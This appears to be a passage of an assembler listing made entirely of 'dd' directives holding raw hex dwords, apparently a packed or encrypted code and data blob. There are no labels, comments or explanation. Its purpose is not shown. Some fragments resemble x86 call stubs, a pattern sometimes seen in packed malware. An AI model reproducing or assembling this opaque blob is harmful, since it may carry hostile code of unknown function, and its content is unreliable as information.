		dd 0E985C7EEh, 6A60Bh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8596C351h
		dd 0A61D1BCBh, 1A05958Bh, 0B5FF06A6h, 6A62DCDh,	95FF5852h
		dd 6A61A79h, 1901B529h,	6A06A6h, 295995FFh, 0C08B06A6h
		dd 3AFF6AEBh, 37D13491h, 6181E7A6h, 0C07BAD86h,	86DB78A1h
		dd 92F0FBF7h, 331A8D7Ah, 0DDFB025Bh, 0BC1064F0h, 610189F2h
		dd 0D5397F06h, 965C41E3h, 9F875774h, 8536F8A4h,	48FBEFABh
		dd 75345513h, 0B64C171Bh, 5B31BE10h, 944578h, 0C6B30956h
		dd 5B14D8A7h, 247E523Dh, 224E067Eh, 7EA564E3h, 51489995h
		dd 0C4436431h, 1C525B23h, 34E9h, 0E3A3EF00h, 9,	0Bh dup(0)
		dd 4ABE900h, 40650000h,	36301FAAh, 0E5C641DCh, 0D58BB20Fh
		dd 0BDA7EE3Bh, 328BDE6Bh, 0F04D9B85h, 2D789655h, 1CA97F62h
		dd 4EDB3131h, 54FD5EE0h, 5A3361F3h, 771AC12Fh, 0A369B1A1h
		dd 1C342207h, 875B0A46h, 0EF913C6Dh, 0F4957B6Ah, 84831E0Ah
		dd 85224CA6h, 96374D9Bh, 0D8816B7Fh, 225BB1B5h,	4E9CF6B2h
		dd 3D3B769Ch, 0CCE392C1h, 84AB81C5h, 0D3968E91h, 8B7CDDFh
		dd 0DF66B365h, 0DF84E234h, 3293E10Bh, 4422CC93h, 627C99Fh
		dd 2867C69Ch, 18B7D638h, 6485A44Eh, 0BFD958AAh,	30D30173h
		dd 0FEECABE6h, 0B8D67514h, 6E35CCE1h, 2FCA4E44h, 6EF0FEACh
		dd 61h,	6D875BD4h, 6A84A403h, 10B5CF33h, 9E7077DCh, 0E9DC73C4h
		dd 180235CCh, 0A4B36EEAh, 8F2F0FEh, 62000000h, 5108E6C5h
		dd 5B5B176Dh, 810F6983h, 0CCE9BDD6h, 3D37A335h,	8B614588h
		dd 43ADB3D2h, 1BF5EB1Ah, 0D53F2362h, 3554BAAAh,	2BAAD8D2h
		dd 0CD1F753Dh, 9FA6F319h, 889421CBh, 9ED43E23h,	6FB95BC2h
		dd 3DD7973Eh, 0FE5C10Ch, 0DE30375Eh, 541433AFh,	151D83BAh
		dd 131F7EFFh, 0C71133E1h, 0F51FC34Ah, 67E41854h, 0C1591990h
		dd 0B1B20153h, 0DBB75908h, 245E1AA2h, 0FE2779A0h, 7A58F0h
		dd 7ADA0000h, 0B3B20FDDh, 0AD71615Dh, 0D0BEA31Ah, 7B65AAB8h
		dd 9051FCADh, 0D5DDC37Ah, 15C64CBFh, 35CC10FCh,	6D875BE2h
		dd 9CD6C23Ch, 4EDB0D37h, 876D79E6h, 0D966FCE6h,	15B8E137h
		dd 3480B957h, 3BD5913Eh, 61B06BBAh, 354F3B2Fh, 881397EDh
		dd 0C7F0FEB0h, 65h, 6FB95B4Bh, 0B3D07B01h, 0A535CCE9h
		dd 7F96374Dh, 0FCDB8254h, 0D72FDC36h, 5E3D2DE7h, 0F15E1465h
		dd 728C19CFh, 0F69835Bh, 3D6C86A0h, 0FF12B3C1h,	35CCE957h
		dd 0C1789257h, 0E9E70CAFh, 118935CCh, 0EF9E7476h, 0E9BDD681h
		dd 37A335CCh, 0B9384A40h, 0DD2E644Eh, 0EE9F7576h, 6C877EF4h
		dd 2BF0FEA4h, 1, 3F865B97h, 389AC315h, 0F0F21D4Ch, 0A72D631Ah
		dd 86C12B38h, 0EC344EA4h, 8D674496h, 7A935230h,	0D7275BFCh
		dd 0D3CF3EB2h, 0AD471BAAh, 0DF353510h, 0C7C46BAEh, 0F8B2336Ah
		dd 0C85798Ah, 3A0AE273h, 1FC37002h, 0CD9DB8F5h,	3AF64423h
		dd 0B7A33CE9h, 0D26B7F96h, 5086A910h, 9FD9C564h, 6A8C973Ch
		dd 35219933h, 97B3714h,	64B25DFAh, 4303DDC5h, 8DECD775h
		dd 6E7CC391h, 802F0984h, 0AF134A9Ch, 0F1FD16C1h, 0F7E3336Ah
		dd 0BC69807Dh, 228F658h, 0EA000001h, 3A24E11Ch,	0B2FEE591h
		dd 504CC03Eh, 908B00DFh, 46BC1361h, 14FAE827h, 3445B353h
		dd 0A7F2EEE7h, 7920CA98h, 4FFE14D6h, 9ECF2100h,	0F09C7277h
		dd 0AF132044h, 696C1D09h, 7BD253A1h, 0DB8F5DB7h, 0B0AC4262h
		dd 0A6558C65h, 4114F658h, 9E000000h, 0E60CDD7Ah, 0FD095B47h
		dd 0F2650306h, 0B5CCE931h, 862D4BA7h, 0A14F1DA4h, 582A94B5h
		dd 163D56F5h, 0D11D4A33h, 58BD36A3h, 1674BD1Eh,	807ACA33h
		dd 7B2335h, 59B50000h, 8B192517h, 7F3341D5h, 0E309DD7Ah
		dd 0AD686591h, 0C3D668C3h, 2A803EB2h, 0E40EDC73h, 16FCEEA9h
		dd 0F0B8D477h, 3CF6336Ah, 0BC5614C6h, 0B4580761h, 8BC33B62h
		dd 14A9C113h, 31DD9783h, 911F59B4h, 6AD08D26h, 2D279333h
		dd 18B339C7h, 336AD0EBh, 0CC4F05FDh, 381DFAA6h,	8E145248h
		dd 9FBD842Dh, 2230AA38h, 749E4C83h, 57FBBD5h, 0BEB85590h
		dd 0E897F51Dh, 0B401F933h, 24E11C7Ah, 0C371913Ah, 0EF543EBBh
		dd 0EC4311FBh, 2A3857F6h, 1639A6C0h, 2F2599C0h,	0DD372B12h
		dd 0BF716DACh, 5C4420B0h, 1CF6F426h, 0CE63D452h, 9720373Eh
		dd 3284EE8Eh, 0DD3562FBh, 9F43CA87h, 0ABB9D475h, 0AABC1B45h
		dd 3E689932h, 847E2037h, 770DF1A8h, 72BED6h, 0AFFA10D2h
		dd 7128C2E0h, 3F7h, 821EAB00h, 3168825Bh, 726CC9Eh, 4AF325C8h
		dd 93CA243Bh, 0E786507Ch, 2B5284A8h, 732AC4E4h,	44E50FDCh
		dd 96B75D09h, 0E18951A4h, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 51242C89h, 0C181E189h, 4, 4E981h, 0C870000h,	1C895C24h
		dd 40846824h, 4890000h,	47B9BB24h, 0CB811217h, 1F35126Fh
		dd 43FFC383h, 0F381DBF7h, 0E665B23Fh, 24048B54h, 4C481h
		dd 0BA520000h, 8, 8F53C201h, 34FF5A02h,	0C4835824h, 2434FF04h
		dd 4C4815Bh, 0E9000000h, 0FFF95EC7h, 5DDAE9E6h,	1E6DB8C8h
		dd 0C50306ADh, 6B70E0FFh, 0DC55097Fh, 4B5307A2h, 9BC911DBh
		dd 0AC580DF3h, 0A6E72522h, 1D9310FBh, 6A787BD6h, 0EC4D5382h
		dd 80858AFh, 0BBEA3696h, 279010A7h, 5CB54D1Bh, 300840EEh
		dd 3362656Bh, 0EBF40F46h, 0C7526B99h, 40AF7522h, 8563609Ah
		dd 0EF6D51B6h, 0FD9D03CBh, 19E9761Eh, 336723B0h, 737D2835h
		dd 0EF7F2AE6h, 80D65DFCh, 36CD6503h, 8D8D1D20h,	6AD1FF8h
		dd 8922E780h, 0A606AD8Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66841483h
		dd 9D8BC18Bh, 6A60FF5h,	40D85C7h, 5FC006A6h, 1530000h
		dd 0A60B0DBDh, 85C75F06h, 6A60BE9h, 0
		dd 585BD89h, 958B06A6h,	6A62C81h, 2DCDB5FFh, 0BB6606A6h
		dd 95FF2981h, 6A61A79h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 6C35343h, 9091DEBFh, 1AC7EDB2h, 0FF006A05h
		dd 0A6295995h, 0EBC08B06h, 0B0A376Ah, 87BEEE18h, 1E5F50CCh
		dd 88631CC4h, 3E69D463h, 424CA399h, 61CAC71Dh, 0A3BD6879h
		dd 61808C50h, 2C2638D7h, 0E76E71A3h, 64FC3159h,	3BA0C16Ch
		dd 0F5EF056Dh, 0BC3C5BB5h, 5F566E7Eh, 0D8D18FC4h, 25B61B8Eh
		dd 64595076h, 0DC495EBh, 2D5C6603h, 66581237h, 947002Bh
		dd 0F66EDE32h, 3C699259h, 9F3DF62Ah, 8D9B33DAh,	0AD21428Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9E80C7Ah, 2A000000h, 1EC7E1AEh, 3646913Ch
		dd 787FD081h, 895A1607h, 0A606AD8Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 5BBE5A99h
		dd 40D85C7h, 62B006A6h,	81660000h, 669DB5C0h, 0ADF5C381h
		dd 0BE985C7h, 6A6h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0A8CE3FC3h, 0D3F9CB93h
		dd 0DE8BC5A2h, 96D0BF66h, 0B19B5FFh, 0B58906A6h, 6A60049h
		dd 1A7995FFh, 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 6AFCECC3h, 5995FF00h, 8B06A629h
		dd 0FC2EEBC0h, 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 7203B922h
		dd 0FDA4C207h, 0B05527A0h, 9F121C45h, 0F9B07959h, 487491FAh
		dd 3A10D22h, 3933605Ah,	0AE861h, 52A0000h, 0B34B6CE6h
		dd 5EB25388h, 0D39FEF81h, 8B5B1D0Ch, 65C381FAh,	60000074h
		dd 6800Fh, 9D030000h, 6A6067Dh,	2890Fh,	0CA8B0000h, 0C840B861h
		dd 0C081513Fh, 0AEC054ACh, 10E860h, 68B30000h, 0A53C3267h
		dd 5911FB06h, 0B7E403ABh, 880F3890h, 0
		dd 1D950B5Fh, 6106A604h, 0EB1338Bh, 8350F681h, 958B7EECh
		dd 6A63219h, 5871F681h,	0BD8B0559h, 6A63219h, 0D13DEE81h
		dd 958962E5h, 6A61AADh,	0AE83389h, 0C6000000h, 9989FAC1h
		dd 68AC2494h, 0EB835916h, 65958B01h, 4B06A61Dh,	0BD8B4B4Bh
		dd 6A618E1h, 0F01E883h,	0FFFFAB85h, 2D8D0BFFh, 8D06A60Eh
		dd 0AD22E58Dh, 4FDC8006h, 6AD8D89h, 0EB8006A6h,	0D85C706h
		dd 0C06A604h, 6A000060h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 565BC357h, 8AB81DC2h
		dd 0F298F7Fh, 85C7DEB7h, 6A60BE9h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6C35343h
		dd 2FEEEB27h, 19D333Eh,	0FF06A60Ch, 0A61155B5h,	47E48006h
		dd 1A7995FFh, 6A06A6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 7E922C3h, 99000000h, 9DACC74Fh
		dd 6A1E52h, 295995FFh, 0C08B06A6h, 0CFD7EEBh, 25A3C06Dh
		dd 6E9796D1h, 5555BA6Dh, 57D3FCE6h, 0E841F79Ch,	12FAB024h
		dd 0C2E4F05Dh, 0DBC59713h, 0D353B79Dh, 26AA5F7Ch, 0D47E824Eh
		dd 8A9D141Ah, 35C57108h, 0C85101D9h, 1BEF4B28h,	6DACF721h
		dd 755BCC60h, 65AC4F78h, 0B4A270EDh, 0B45E97Bh,	578E3C2Dh
		dd 443E9A71h, 58FDCC82h, 6B6AAABBh, 0C8D0361Dh,	59070F61h
		dd 7D2B5991h, 0FFCACD9Bh, 0E6BDBDEAh, 0C4BC82D4h, 3B6A1A0Ah
		dd 0C2985C6h, 685606A6h, 0A9C530DFh, 919B5FFh, 858D06A6h
		dd 6A97120h, 8D8DD0FFh,	6A610E1h, 0FF406A51h, 0A60A01B5h
		dd 45B5FF06h, 0FF06A610h, 1B5FFD0h, 0FF06A60Ah,	0A61045B5h
		dd 13E806h, 39030000h, 0C250B991h, 0B5A0FB47h, 3B526818h
		dd 39E037h, 835A5A45h, 2CC104EAh, 24C10224h, 14030224h
		dd 241CF724h, 68h, 0C8B5E00h, 1EC18132h, 8102C925h, 4CAE7DE9h
		dd 50E98130h, 893C7FC0h, 0EE83320Ch, 3B4E4E02h,	850F2434h
		dd 0FFFFFFDAh, 5259D8Dh, 38B06A6h, 840FC00Bh, 7, 5B8B038Bh
		dd 8B188904h, 0CAE9C9h,	8D420000h, 9CD74342h, 0C8C3CA45h
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
		dd 0
		dd 9D744700h, 99E0E312h, 5Eh, 4	dup(0)
		dd 159BE9h, 27046800h, 0B8E906ADh, 68FFF958h, 6AD281Bh
		dd 0F958AEE9h, 290568FFh, 0A4E906ADh, 68FFF958h, 6AD2A4Bh
		dd 0F9589AE9h, 2AD368FFh, 90E906ADh, 68FFF958h,	6AD2B7Dh
		dd 0F95886E9h, 2C3468FFh, 7CE906ADh, 68FFF958h,	6AD2CE4h
		dd 0F95872E9h, 2D6968FFh, 68E906ADh, 68FFF958h,	6AD2ECFh
		dd 0F9585EE9h, 2FF268FFh, 54E906ADh, 68FFF958h,	6AD3150h
		dd 0F9584AE9h, 324468FFh, 40E906ADh, 68FFF958h,	6AD33B9h
		dd 0F95836E9h, 350E68FFh, 2CE906ADh, 68FFF958h,	6AD36FDh
		dd 0F95822E9h, 380968FFh, 18E906ADh, 0C8FFF958h, 9DB8F51Fh
		dd 0AF9623C9h, 7AC550BAh, 0E09846Ah, 2279B462h,	96406C8Bh
		dd 0C32D3C1Bh, 0F224CF76h, 20CA98A7h, 0A8038D95h, 3361CC3Bh
		dd 7AB8FA2Dh, 0A6E10FDDh, 0C23C6DBBh, 0B55F03B0h, 83697994h
		dd 748D4836h, 3B48A2Eh,	35CCA5EEh, 712A1AF0h, 0E18F7B12h
		dd 0EAFC5Bh, 0DC0A3659h, 0F4531ADh, 0B2F3C68Ch,	0B813993Eh
		dd 336ABB0Bh, 70AFA51Dh, 7A0E39Ah, 78336ABBh, 0AEC374F2h
		dd 81336ABBh, 6ABBBDD6h, 1837A333h, 2DFBE5A2h, 20F0827Ch
		dd 0FABB56D2h, 2EFAF658h, 6A000000h, 62F01ECDh,	24E11C2Eh
		dd 0D8E9913Ah, 158D3EB2h, 0C6B8D574h, 2BC7336Ah, 38DA2AD9h
		dd 1611348Eh, 3DD43143h, 7CF65895h, 0ECh, 69875B26h, 80A3BB1Ah
		dd 0DBCB3756h, 0B3AF2765h, 0DC597B8Ah, 47BBE20Ch, 15B2326Bh
		dd 1082BB51h, 7EDFD42h,	0D13B2F66h, 5AE0997h, 2B35CCE6h
		dd 14CDC7BFh, 0B071D683h, 8D81EFA2h, 0AD8FC5C9h, 45CFA717h
		dd 33740BB4h, 0B473C49Eh, 2A35CC71h, 0F847D238h, 715900EAh
		dd 51DF9974h, 4DC360CBh, 0FDD535CCh, 70EAD467h,	6FC3EB2h
		dd 1851AD8Bh, 4AAD16F6h, 0C401CD87h, 8F8C2F49h,	0D038124Ah
		dd 31BA3F3Ch, 0F48EF1D4h, 7F05635Fh, 8235B7DCh,	3341B938h
		dd 0CC1A06ADh, 0FC2AD671h, 0EEE61F8Bh, 5B9DB08Eh, 12DDh
		dd 29648E5Fh, 792786Eh,	74C12B38h, 0B8F51BC9h, 0E825F39Dh
		dd 0D1F3FC51h, 0DC838A07h, 0B558E732h, 7B6FD663h, 901E0491h
		dd 61CE8A27h, 29699C33h, 0B20FDD7Ah, 236C588Eh,	3380D23Ch
		dd 0C34AC711h, 6EB8F51Fh, 3A24E11Ch, 0B2D8E991h, 8536BC3Eh
		dd 336AC66Ch, 7DDE9872h, 336AC6D4h, 3D92E0DAh, 0C865A4C5h
		dd 0CE336AC6h, 3857F61Ch, 6A9AC315h, 0A68654AEh, 0B1AD1148h
		dd 35B1C3EFh, 0F6588B9Eh, 0DADDh, 875B4500h, 0D5C12F3Eh
		dd 0A17719B4h, 339874F8h, 18D1D83h, 738A0D47h, 7135CCC3h
		dd 70E9B71h, 0DBB5CD23h, 0B75DB9BBh, 7B6BDBF9h,	0CDABEEE1h
		dd 0CC31F96Ah, 7F3EF35h, 1AF0F259h, 40E57F63h, 0F4728B4Ah
		dd 0B20C7B43h, 0C997033Eh, 0D7AD4362h, 1CF9F49Ah, 4893F952h
		dd 0B9273813h, 834CF51Eh, 8D5CFB38h, 0DD9B7763h, 0D29C4A76h
		dd 61212B22h, 95B4CA1h,	0A623CD48h, 9F296B85h, 81E78F27h
		dd 0B659F495h, 27987460h, 8EEDD389h, 0C6C92F5Eh, 40000011h
		dd 15308D67h, 276EBB51h, 0F25DE802h, 86811CF2h,	0AAF14C9Ah
		dd 2EF8E413h, 5BB5B493h, 8A5C47CEh, 0B852103Fh,	0D07B056Dh
		dd 3361C1B3h, 7A3002A5h, 0E9365BFCh, 0C23835CCh, 0B76103B0h
		dd 9155F27Ah, 885AE97Bh, 7A9BD762h, 0B9E00EDDh,	0A2800F45h
		dd 0ECFE1148h, 79D25806h, 35CCE9C8h, 0D36EE4DEh, 1FCE7774h
		dd 7A5648F1h, 34DE8CC3h, 46F17FF9h, 35CCE92Dh, 3EE89433h
		dd 98A7930Fh, 0B15022F4h, 0BF569783h, 0F5C006B1h, 3C963EB2h
		dd 3FD59532h, 8ADE940Eh, 0F0D66581h, 6AA72608h,	5901CBCh
		dd 85E3DFC8h, 93E10FDEh, 74ACAA0Dh, 40BAC082h, 44AAB926h
		dd 7AABB925h, 0AAB4518Ch, 72668B2Ch, 0C108311Ah, 441E0AE0h
		dd 81F07DDEh, 0CE63A61h, 0CDAC562h, 9F43E876h, 4D1D3875h
		dd 0B65840A7h, 3A4B90BDh, 10DCA2h, 63895E00h, 957F6FD6h
		dd 0C62C3D18h, 0F21CCC4Bh, 22F498A7h, 0FEF95497h, 8E8904D2h
		dd 59E431DFh, 6AD560B6h, 1F079278h, 0C08D2691h,	68933361h
		dd 6D875B2Ah, 812AB03Ch, 35CCE960h, 0EFF39C76h,	46874F05h
		dd 5436A1CFh, 5A3EB2D5h, 0B02DD560h, 72A00B55h,	353814D8h
		dd 0B32D88Eh, 16F8E897h, 0DE79E75Ch, 3880D0B5h,	23004FBBh
		dd 322E90C9h, 0D05FC80Bh, 8203880h, 9D437EFAh, 3202FDB2h
		dd 80000000h, 3A24E11Ch, 0BD5717BCh, 382E14A7h,	5AB03EB2h
		dd 5A8CB71Ch, 0A6254CCFh, 7DB336Ah, 0CAF550EDh,	3A269F4Fh
		dd 9257F0ECh, 9BDD8C78h, 1029h,	24E11CCFh, 0CE3D913Ah
		dd 23883EBBh, 4CB6D701h, 47219936h, 0B86E12B9h,	0A7CC6F81h
		dd 493361CDh, 0A0EF6551h, 53DD6882h, 0CCC162D5h, 0FBD73361h
		dd 0E208DA69h, 0E234DF84h, 18D53D90h, 8DD873FDh, 5B3816E8h
		dd 885A016Fh, 0AEDF3531h, 0BFAB7D67h, 1BCF76C3h, 0A3BB2883h
		dd 35AD3896h, 2BAA2059h, 1C4DA381h, 6C1DF3F1h, 0CCAA8672h
		dd 98AD4367h, 61EEFEB7h, 2AB8CAA6h, 0E8BF0581h,	0A00B5133h
		dd 21CCBF03h, 5EC1BD15h, 883D6C24h, 9692CA7Bh, 1000000Fh
		dd 2560BD57h, 0F75EEB01h, 828D18F2h, 56F14CA2h,	9A217CAAh
		dd 5E88B443h, 8B6544C3h, 0BA6C173Eh, 0E802206Fh, 0E04BD55Dh
		dd 3361C343h, 57603255h, 35CCE93Eh, 4B837E7Fh, 3F3F01B6h
		dd 0BC1F5935h, 3EBB9539h, 1FA5C33Fh, 619517BCh,	628F2833h
		dd 74336195h, 7B09E19Eh, 769C4EF5h, 0A44E1C3Bh,	1FCC6B85h
		dd 76D578F1h, 0D9B5C4BBh, 0D882438Bh, 6AF4E00Ah, 1F3D69C1h
		dd 32950D38h, 8EE9AD5Eh, 0ED81C31h, 8800000Fh, 5DF835DFh
		dd 6FD66389h, 3A05907Ah, 0CE49C42Ah, 62B9F422h,	0D6002CCBh
		dd 3EDFC5Bh, 32E48FB6h,	608A58E7h, 68C34DD5h, 3361C3FBh
		dd 5BF8BAEDh, 913C6D87h, 13023BD1h, 0D712B955h,	0A17CF37Ch
		dd 71F50FD3h, 0F0FEC05Ah, 93B19h, 0FC7A9900h, 0CCE9365Bh
		dd 0B0C23835h, 5DFE8944h, 35CCE934h, 8AD4C03Ah,	0BBCDB321h
		dd 0D6B473Eh, 0D36E84A6h, 0D29C7674h, 0C79D4B75h, 0CC8A2366h
		dd 27AD3361h, 61CC1FB4h, 0DBA90133h, 1D5BB233h,	1FF0C0BAh
		dd 0FE59E738h, 389FB855h, 0BE156F5Bh, 7095E344h, 0BBCA8EEAh
		dd 0E643Dh, 0EB012600h,	1DF7F75Eh, 4EA48580h, 7A9454F3h
		dd 0AA7C602Fh, 4671CC1Fh, 16318C5Ah, 216CB957h,	0F25DE83Eh
		dd 0A78F1AF0h, 0C215BE19h, 0E01B3361h, 6D875B52h, 3BD1913Ch
		dd 6AD7963Dh, 0ABB9957Bh, 0FE28CB7Ah, 926B574Fh, 95779FC1h
		dd 7514FAEAh, 25D2338Dh, 3846292Ch, 0C67182F0h,	35CC7BADh
		dd 0FC6B47B3h, 0A158DC36h, 0E0F0FE3Ah, 870h, 2041EA70h
		dd 3635CC73h, 4690B3DCh, 0E9A9BB27h, 0CCE93E57h, 877E7F35h
		dd 0CD267ED9h, 0DE853EBBh, 59B7B633h, 42B8176Dh, 41ABBF24h
		dd 739949F4h, 401FCCAh,	0F199F15Ah, 0A51D381Fh,	0EA722242h
		dd 0D410358Eh, 0DADh, 19947E6Fh, 77C2283Eh, 0A4F11BC8h
		dd 0E825CB99h, 0D85583ADh, 0E1832C81h, 8C53FA37h, 4568D762h
		dd 2B3F0693h, 60EE74C1h, 61C55AF7h, 19194C33h, 283E875Bh
		dd 2388D6C2h, 1AFED600h, 7205DEF8h, 1DB0156Fh, 9F86A74Dh
		dd 0CEE56193h, 8DF0FEF4h, 7D4h,	24E11C35h, 0CDFC913Ah
		dd 0FA3EBBh, 3E9F966h, 31DB8FB6h, 60E58837h, 1FDAC46h
		dd 9A8A7415h, 0DCDFA6F1h, 0A91C5644h, 1208CF47h, 0BC75B44Eh
		dd 0F1F815A6h, 3CB93361h, 5634A7C1h, 58381FCDh,	0FB809766h
		dd 9FBD3350h, 0D5CD2538h, 0E1DD0087h, 0EA97EC7Eh, 0AAC2438Eh
		dd 0CFDh
		dd 0C944AEBFh, 2772984Eh, 14A14B18h, 58D53B29h,	8805D3FDh
		dd 31D3DC71h, 0FCE3AAE7h, 95B88712h, 9B4FF643h,	0B03E2471h
		dd 61C5EA07h, 0C949FC33h, 3C6D875Bh, 23BD191h, 79FD1713h
		dd 0F0FEA842h, 73301h, 3B578100h, 7435CCE9h, 0F618CF79h
		dd 0B7FB5C1Ah, 3F3EBBCDh, 2C3EA5C3h, 52E3DEC2h,	28CBADC0h
		dd 67534FFEh, 53173E8Bh, 0CB0A80B9h, 23833432h,	4B381F0Eh
		dd 0BC6CE85Fh, 0AEDF8EE9h, 0C784Eh, 0DF353200h,	9E3FB42h
		dd 3AD091BCh, 6E80A0EFh, 9E4874D3h, 4A65F803h, 1A2570A6h
		dd 2D68A54Bh, 0FE59D402h, 0AB8B06ECh, 0C411B225h, 0E4073361h
		dd 6D875B5Eh, 8293F303h, 0F8CD7249h, 0D6943B6Ah, 400C0D3Ch
		dd 4CF011BAh, 0CE635CCh, 8A58AA76h, 0A87E61D8h,	597061BCh
		dd 0EDF0FE01h, 0C28D5B46h, 7B09DFh, 15Dh, 6D875B82h, 3BD1913Ch
		dd 28E5E0EEh, 0C7E5ED4Eh, 11893EB2h, 0BA81BF57h, 686076F7h
		dd 8304AD0Eh, 0B02A336Ah, 11ED03A2h, 0B37D7F23h, 0DD3332A1h
		dd 872093E1h, 0F8336A9Dh, 0AB46C230h, 0EAF658DCh, 5Bh
		dd 20E11CA8h, 0F22A8676h, 80EEDAFCh, 0B20D23D7h, 895DFA3Eh
		dd 8AD83A63h, 14B3BD15h, 0C26FC854h, 0D4336BECh, 0DD7002FEh
		dd 6BEC11BEh, 0BE501733h, 8A5C408Fh, 0CFC5EDD3h, 42B0784Eh
		dd 0B45A0AB1h, 0D3CD68Bh, 8F2AC391h, 3BF659A1h,	0F8E91ABDh
		dd 3FF336Bh, 0AC1671h, 5B9C0000h, 913C6D87h, 0CD0039EFh
		dd 3F56F71Dh, 0C574C12Bh, 35CCD5D6h, 0C15CB6B4h, 491AC401h
		dd 2E1ACCF0h, 1AE3432h,	229CCD23h, 601FEF50h, 43BF3EB4h
		dd 4492BE25h, 30379C1Ah, 1833AFDEh, 336427EBh, 9770D9BAh
		dd 0E98672ACh, 789656F1h, 0CA87DDC1h, 1077A143h, 9595644Ah
		dd 12284CC1h, 9400000Bh, 0A1EC39D3h, 6BD26F85h,	6019C76h
		dd 0D27DC826h, 1EADF82Eh, 0DA0C30BFh, 0FE1C04Fh, 3EE88BB2h
		dd 6C86A4E3h, 6CCF51D1h, 3361C7C7h, 5BE4BEE9h, 0C02A3CB9h
		dd 70DF59D4h, 0FFE39A4Ch, 940CDE65h, 0CCE98E23h, 4E3A9035h
		dd 875BA7F3h, 0B9A4036Dh, 1DB0156Fh, 0A6AA74Dh,	530h, 77E11C5Eh
		dd 7ADD9B4Dh, 35CCE9C9h, 69F7E3DFh, 520BE1C2h, 2B8C1260h
		dd 3EB2F96Bh, 89709303h, 42E4D26Eh, 45B93756h, 95466D5Eh
		dd 336A8C7Ch, 55988862h, 32305F05h, 273DA1D8h, 6A277B94h
		dd 0A02E0433h, 9CCD273Bh, 27F86922h, 0F4EE336Ah, 0C440B27Eh
		dd 0F6586A2Dh, 2216Ch, 885F0400h, 5754EC66h, 35CCE935h
		dd 0D09E7776h, 0F59F833Ch, 0ABB983EBh, 8631BF45h, 35CC826Dh
		dd 0D5F88773h, 4ECE7103h, 1D3EBBA6h, 0A58B6B6h,	94333D95h
		dd 0A6E13CD6h, 0C006E84h, 24CCC80Ch, 2CD77020h,	55F43FAh
		dd 0C2E74CA0h, 93456F28h, 927A08EAh, 1BBCBA53h,	381FF0BBh
		dd 0E860C733h, 3B8EEA6Eh, 9EFD20Ah, 0BCA90000h,	6A7CDB56h
		dd 590A3580h, 9DF66B3h,	0C1E3AAE7h, 0EE4F9A17h,	0BC09DFC1h
		dd 0E13CD291h, 0D06DBBA6h, 29F7575h, 8839921Ch,	9E3361C6h
		dd 875BD76Bh, 99C02E3Eh, 0FD104925h, 4CEF75EDh,	35CCE927h
		dd 9BAD1C9h, 2E35CCE9h,	0CCE9648Dh, 0E7900A35h,	0E96E1F0Bh
		dd 7977AF67h, 0EEE5845Dh, 0E4364C94h, 54FD5EC6h, 4A35CC24h
		dd 0EAD4759Bh, 0DC6945BDh, 0FE698C27h, 13CCBF0h, 5B770000h
		dd 0C4123E87h, 234D39A5h, 1F4E9884h, 277B71A7h,	0A59101DFh
		dd 13D77EAFh, 2107BAAAh, 48AAD3CFh, 0C401C15Ch,	0C68C2F49h
		dd 0A83EB26Bh, 0DAE3432h, 336A23E4h, 0E342108Ah, 6A2307A0h
		dd 42B07833h, 58622BC6h, 2B6AF6h, 1C280000h, 913A24E1h
		dd 3EB2D8E9h, 5FF4678Dh, 41336AC6h, 0D4022E69h,	0E50241F8h
		dd 9A336AC6h, 8920A4DEh, 0C8F6588Bh, 0A5h, 1F875B4Ah, 0E98D2691h
		dd 279335CCh, 0CCE9FF14h, 0D07BE135h, 35CCE9B3h, 36514DA5h
		dd 0BBE2DE34h, 8FBE6814h, 788C6240h, 55319818h,	0D77E2F1Bh
		dd 0EDACF913h, 35CC414Eh, 0DA846E7Ch, 0CE84527Dh, 0FB12D3B3h
		dd 9948F77Dh, 745AFD77h, 23EB49Ch, 4161CEA8h, 7200F2ABh
		dd 8B5D47ECh, 0BB6D173Eh, 944EEA44h, 86CE195h, 891h, 6DB8520Bh
		dd 53EE0422h, 801DF7F4h, 0FC49A785h, 2C79AF51h,	8DB7409Dh
		dd 6047CE5Bh, 6914338Eh, 7DB62BFh, 4CD250EDh, 61D846EBh
		dd 653D6833h, 0D26FB95Bh, 9D776Bh, 0DDD7AF6h, 65C46E7h
		dd 5610A9B9h, 25118DBCh, 0F319C904h, 2BAB6A6h, 93380000h
		dd 9B0726F0h, 8A7A89C9h, 0D2001A4Ch, 4BEC8A59h,	35CCE826h
		dd 7480D2C8h, 22D29C79h, 0F45B127h, 0A10F451Dh,	0BBF8DC36h
		dd 0B1E8C23Eh, 61B2F512h, 7AC8A33h, 76BAC822h, 0FF61981Ch
		dd 4320F653h, 0E2000002h, 0CCE93557h, 9E777635h, 0CD7367D0h
		dd 8D2A3EBBh, 0F81736DCh, 5E1400EAh, 0B3D07BE1h, 0A53361CCh
